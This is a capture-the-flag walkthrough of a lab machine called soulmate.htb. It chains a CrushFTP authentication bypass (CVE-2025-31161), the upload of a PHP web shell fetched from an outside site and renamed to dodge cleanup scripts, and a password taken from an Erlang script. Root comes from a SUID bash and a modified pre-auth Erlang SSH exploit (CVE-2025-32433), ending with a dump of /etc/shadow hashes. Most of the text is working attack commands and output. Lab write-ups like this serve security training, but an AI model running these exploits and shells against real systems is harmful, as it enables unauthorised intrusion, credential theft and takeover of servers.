Enum

$ export IP=10.129.112.111
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
To scan or not to scan? That is the question.
 
[~] Automatically increasing ulimit value to 10000.
Open 10.129.112.111:22
Open 10.129.112.111:80
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Update /etc/hosts
$ echo "$IP soulmate.htb" | sudo tee -a /etc/hosts
  • Gobuster reveals new endpoint
$ gobuster vhost -u http://soulmate.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -t 100
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://soulmate.htb
[+] Method:                    GET
[+] Threads:                   100
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]
  • Update /etc/hosts
$ echo "$IP ftp.soulmate.htb" | sudo tee -a /etc/hosts
  • Visit ftp.soulmate.htb and we see CrushFTP is running

$ wget https://raw.githubusercontent.com/Immersive-Labs-Sec/CVE-2025-31161/refs/heads/main/cve-2025-31161.py
 
$ python cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --new_user asdf --password asdfasdf
 
[+] Preparing Payloads
  [-] Warming up the target
[+] Sending Account Create Request
  [!] User created successfully
[+] Exploit Complete you can now login with
   [*] Username: asdf
   [*] Password: asdfasdf
  • Now login as created user

  • We can reset user passwords from within this panel
  • Different users have different privileges

  • Make sure to hit SAVE at the bottom

  • Login as Ben with new password

  • Ben has ability to upload documents into publicly accessible directory webProd
  • I used my version of p0wnyshell but can use whatever
$ curl -O https://blog.johng4lt.com/Tools/vampshell.php

User

  • Cleaner scripts will remove so we need to rename our shell appending . to avoid deletion
www-data@soulmate:/soulmate.htb/public$ mv vampshell.php .vampshell.php
www-data@soulmate:/$ ps aux
 
*snip*
/usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell
 
 
# To show full entry since it is so long
www-data@soulmate:/$ ps aux | grep erlang
 
/usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
  • We check this file and can read its source revealing a password and some important SSH information
www-data@soulmate:/$ cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner
 
main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),
 
    io:format("Starting SSH daemon with logging...~n"),
 
    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},
 
        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},
 
        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},
 
        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},
 
        {auth_methods, "publickey,password"},
 
        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,
 
    receive
        stop -> ok
    end.
  • Can SSH as ben with these creds
  • This Erlang SSH script is running as root
$ sshpass -p 'HouseH0ldings998' ssh ben@soulmate.htb
 
ben@soulmate:~$ ls
user.txt

Root1

Multiple options

Connect via more stable www-data shell then ssh ben@localhost -p 2222

Can also SSH as ben first then ssh ben@localhost -p 2222

Or portfwd 2222 as ben and connect on your own machine:

sshpass -p HouseH0ldings998 ssh -L 2222:127.0.0.1:2222 ben@soulmate.htb
 
sshpass -p HouseH0ldings998 ssh ben@localhost -p 2222
  • Connect to port 2222 with ben creds in any way you choose
  • We inherit root privs in this shell and can simply change SUID on bash
  • Then spawn root shell via bash -p
ben@soulmate:~$ ssh ben@127.0.0.1 -p 2222
 
ben@127.0.0.1`s password: HouseH0ldings998
 
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
 
(ssh_runner@soulmate)1> os:cmd("chmod +s /bin/bash").
(ssh_runner@soulmate)3> q().
 
ok
Connection to 127.0.0.1 closed.
 
ben@soulmate:~$ bash -p
 
bash-5.1$ id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)
 
bash-5.1$ ls /root
root.txt  scripts
 
bash-5.1$ cat /etc/shadow
root:$y$j9T$F0ac/VWnpQL9EP1.SyIKb.$YO.C6lGpumKomf/Ql.1D.YFt7kopiSCTdfDyk4FLdY5:20319:0:99999:7:::
ben:$y$j9T$5nWQGACiAivm4O0RaH71X.$6Yn5wee.ahPGiTaVP2aFVeDt2vn5JLH1/f1tNknhyQ7:20319:0:99999:7:::

Root2

Alternative Root

There is also CVE-2025-32433 which could have been found after gaining access to www-data, identifying port 2222 as Erlang.

Author Post

This may be unintended but will add for now.

  • We need to change payloads within CVE-2025-32433.py
*snip*
 
# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
    if command is None:
        command = 'os:cmd("chmod +s /bin/bash").'
    return (
        b"\x62"  # SSH_MSG_CHANNEL_REQUEST
        + struct.pack(">I", channel_id)
        + string_payload("exec")
        + b"\x01"  # want_reply = true
        + string_payload(command)
    )
 
*snip*
 
# 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
	print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
	chan_req = build_channel_request(command='os:cmd("chmod +s /bin/bash").')
	s.sendall(pad_packet(chan_req))
 
	print(
		"Exploit complete: Verify with 'ls -la /bin/bash'"
	)
  • Executing as www-data or ben will execute as root through Erlang SSH
ben@soulmate:~$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
 
ben@soulmate:~$ python3 CVE-2025-32433.py
[*] Connecting to SSH server...
[+] Received banner: SSH-2.0-Erlang/5.2.9
[*] Sending SSH_MSG_KEXINIT...
[*] Sending SSH_MSG_CHANNEL_OPEN...
[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...
Exploit complete: Verify with 'ls -la /bin/bash'
*snip*
 
ben@soulmate:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
 
ben@soulmate:~$ bash -p
 
bash-5.1# id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) groups=0(root),1000(ben)